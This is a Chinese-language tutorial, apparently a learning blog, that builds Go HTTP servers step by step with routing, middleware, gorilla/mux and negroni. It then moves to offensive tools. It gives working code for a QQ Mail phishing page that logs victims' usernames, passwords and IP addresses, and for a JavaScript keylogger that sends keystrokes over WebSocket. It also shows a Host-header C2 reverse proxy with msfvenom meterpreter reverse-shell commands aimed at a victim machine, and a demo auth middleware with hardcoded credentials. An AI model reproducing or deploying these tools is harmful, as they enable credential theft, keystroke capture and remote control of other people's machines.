建立一个httpserver
package mainimport ("fmt""net/http")func hello(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello %s\n", r.URL.Query().Get("name"))// 取query参数进行拼接并赋值到writer}func main() {http.HandleFunc("/hello", hello)http.ListenAndServe(":8000", nil)}
使用路由
package mainimport ("fmt""net/http")type router struct {}func (r *router) ServeHTTP(w http.ResponseWriter, req *http.Request) {switch req.URL.Path {case "/a":fmt.Fprint(w, "Executing /a")case "/b":fmt.Fprint(w, "Executing /b")case "/c":fmt.Fprint(w, "Executing /c")default:http.Error(w, "404 Not Found", 404)}}func main() {var r routerhttp.ListenAndServe(":8000", &r)}
这里router实现了ServerHTTP方法,也就实现了http.handler接口,因此可以传入http.ListenAndServe方法中


这里有个疑问就是第一个httpserver的ListenAndServe第二个参数为空,其实也是设置了handler的,http.HandleFunc方法将路由以及对应的处理方法注册进了DefaultServeMux。
middleware
package mainimport ("fmt""log""net/http")type logger struct {Inner http.Handler}func (l *logger) ServeHTTP(w http.ResponseWriter,r *http.Request) {log.Println("start")l.Inner.ServeHTTP(w,r) // <-------------log.Println("end")}func hello2(w http.ResponseWriter,r *http.Request){fmt.Fprint(w,"hello2\n")}func main() {f := http.HandlerFunc(hello2)l := logger{Inner: f}http.ListenAndServe(":8000",&l)}
先看一下流程,首先http.HandlerFunc设置了所有请求的处理方法为hello2,此时返回的handler设置为logger的Inner,而logger也实现了ServeHTTP函数,其作为http.handler传入ListenAndServe。当有请求入栈,触发
func (l *logger) ServeHTTP(w http.ResponseWriter,r *http.Request)
方法内再触发
func hello2(w http.ResponseWriter,r *http.Request)
实现的效果就是任何请求入栈,在真正做操作之前都执行了我们定义的操作或者方法。有点切面编程的意思。
mux
package mainimport ("fmt""github.com/gorilla/mux""net/http")func main() {r := mux.NewRouter()r.HandleFunc("/foo", func(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w,"hello\n")}).Methods("GET")http.ListenAndServe(":8000",r)}
mux包可匹配请求的methods,host等。只有匹配成功才能访问路由
支持变量
r.HandleFunc("/foo/{user}", func(w http.ResponseWriter, r *http.Request)

正则限定参数类型
r.HandleFunc("/foo/{user:[a-z]+}", func(w http.ResponseWriter, r *http.Request)
Negroni
package mainimport ("fmt""github.com/gorilla/mux""github.com/urfave/negroni""net/http")type trivial struct {} // 实现了negroni的ServeHTTP方法func (t *trivial) ServeHTTP(w http.ResponseWriter,r *http.Request,next http.HandlerFunc){fmt.Fprintf(w,"pass trivial\n")next(w,r)}func next(w http.ResponseWriter,r http.Request) {fmt.Fprint(w,"end")}func main() {r := mux.NewRouter()n := negroni.Classic()n.Use(&trivial{})n.UseHandler(r)http.ListenAndServe(":8000",n)}
trivial实现了negroni.handler接口
next具体所指debug了一下发现由这个函数进行集中分发,
整个next的调用如下,在中间某一步调用了我们实现的ServeHTTP方法。据具体还没搞清楚,太菜了。。
一个小整合
package mainimport ("context""fmt""net/http""github.com/gorilla/mux""github.com/urfave/negroni")type badAuth struct {Username stringPassword string}func (b *badAuth) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {username := r.URL.Query().Get("username")password := r.URL.Query().Get("password")if username != b.Username || password != b.Password {http.Error(w, "Unauthorized", 401)return}ctx := context.WithValue(r.Context(), "username", username)r = r.WithContext(ctx)next(w, r)}func hello(w http.ResponseWriter, r *http.Request) {username := r.Context().Value("username").(string)fmt.Fprintf(w, "Hi %s\n", username)}func main() {r := mux.NewRouter()r.HandleFunc("/hello", hello).Methods("GET") // GET访问/hellon := negroni.Classic()n.Use(&badAuth{Username: "admin",Password: "password",})n.UseHandler(r)http.ListenAndServe(":8000", n)}
如图我们提交username和password后,后端来到
func (b *badAuth) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc)
获取到用户名和密码,进行对比,如果不匹配则返回401,否则认证成功进入下一步,初始化context,并在r上下文设置变量username将变量传递,到达hello handler,读取username进行展示。
实现一个qqmail钓鱼页面
package mainimport (log "github.com/sirupsen/logrus""github.com/gorilla/mux""net/http""os""time")func main() {f,err := os.OpenFile("s.txt",os.O_CREATE|os.O_APPEND|os.O_WRONLY,0600)if err != nil{panic(err)}defer f.Close()log.SetOutput(f)r := mux.NewRouter()r.HandleFunc("/login",login)r.PathPrefix("/").Handler(http.FileServer(http.Dir("public")))log.Fatal(http.ListenAndServe(":8000",r))}func login(w http.ResponseWriter, r *http.Request) {log.WithFields(log.Fields{"time": time.Now(),"uername":r.FormValue("username"),"password":r.FormValue("password"),"UA":r.UserAgent(),"ipaddr":r.RemoteAddr,}).Info("log attempt")http.Redirect(w,r,"https://mail.qq.com",302)}
实现一个keylogger
package mainimport ("flag""fmt""html/template""log""net/http""github.com/gorilla/mux""github.com/gorilla/websocket")var (upgrader = websocket.Upgrader{CheckOrigin: func(r *http.Request) bool { return true },}listenAddr stringwsAddr stringjsTemplate *template.Template)func init() {flag.StringVar(&listenAddr, "listen-addr", "", "Address to listen on")flag.StringVar(&wsAddr, "ws-addr", "", "Address for WebSocket connection")flag.Parse()var err errorjsTemplate, err = template.ParseFiles("logger.js")if err != nil {panic(err)}}func serveWS(w http.ResponseWriter, r *http.Request) {conn, err := upgrader.Upgrade(w, r, nil) // 所有的http连接使用websocket协议if err != nil {http.Error(w, "", 500)return}defer conn.Close()fmt.Printf("Connection from %s\n", conn.RemoteAddr().String())for {_, msg, err := conn.ReadMessage()if err != nil {return}fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))}}func serveFile(w http.ResponseWriter, r *http.Request) {w.Header().Set("Content-Type", "application/javascript")jsTemplate.Execute(w, wsAddr)}func main() {r := mux.NewRouter()r.HandleFunc("/ws", serveWS)r.HandleFunc("/k.js", serveFile)log.Fatal(http.ListenAndServe(":8080", r))}
(function() {var conn = new WebSocket("ws://{{.}}/ws");document.onkeypress = keypress;function keypress(evt) {s = String.fromCharCode(evt.which);conn.send(s);}})();

init函数会在main函数之前执行,这个之前的代码没有注意,无需显式调用init。init函数内的
jsTemplate, err = template.ParseFiles("logger.js")
执行一个模板渲染。也就是后面的k.js是由logger.js渲染而成的,并不是将logger.js直接开放。主函数主要处理两个路由
- /ws
- /k.js
由于远程加载了k.js,会在客户端按下按键时主动发送websocket连接,携带信息,回连本地,serveWS调用了websocket包来处理websocket连接,获取连接带来的msg,本地展示,完成键盘记录func serveWS(w http.ResponseWriter, r *http.Request) {
实现一个c2反向代理
```go package main
import ( “log” “net/http” “net/http/httputil” “net/url” “github.com/gorilla/mux” )
var ( hostProxy = make(map[string]string) proxies = make(map[string]*httputil.ReverseProxy) )
func init() { hostProxy[“attacker4.com”] = “http://192.168.43.87:4444“ // 定义真正c2服务器地址 hostProxy[“attacker5.com”] = “http://192.168.43.87:5555“
for k, v := range hostProxy {remote, err := url.Parse(v)if err != nil {log.Fatal("Unable to parse proxy target")}proxies[k] = httputil.NewSingleHostReverseProxy(remote) // 此函数生成了一个c2反向代理指向remote}
}
func main() { r := mux.NewRouter() for host, proxy := range proxies { // 这里使用mux来匹配HTTP协议的Host头,如果命中则设置handler为proxy。这里的proxy可以看到是前面生成的反向代理,这样实现的效果就是通过不同Host头来代理到不同的C2端口,或者不同的C2服务器。 r.Host(host).Handler(proxy) } log.Fatal(http.ListenAndServe(“:80”, r)) }
这里简单说一下拓扑- ubuntu 16.04 192.168.0.68 ---> 受害主机- windows10 192.168.0.239 ---> go代理- kali 192.168.0.87 ---> c2服务器win10启动代理<br /><br />kali msf生成shellcode```shellmsfvenom -p linux/x86/meterpreter_reverse_http lhost=192.168.43.239 lport=80 HttpHostHeader=attacker4.com -f elf > /root/shell4msfvenom -p linux/x86/meterpreter_reverse_http lhost=192.168.43.239 lport=80 HttpHostHeader=attacker5.com -f elf > /root/shell5
c2监听端口

受害主机执行shellcode

c2上线

通过抓包也能大概看到反向代理的过程

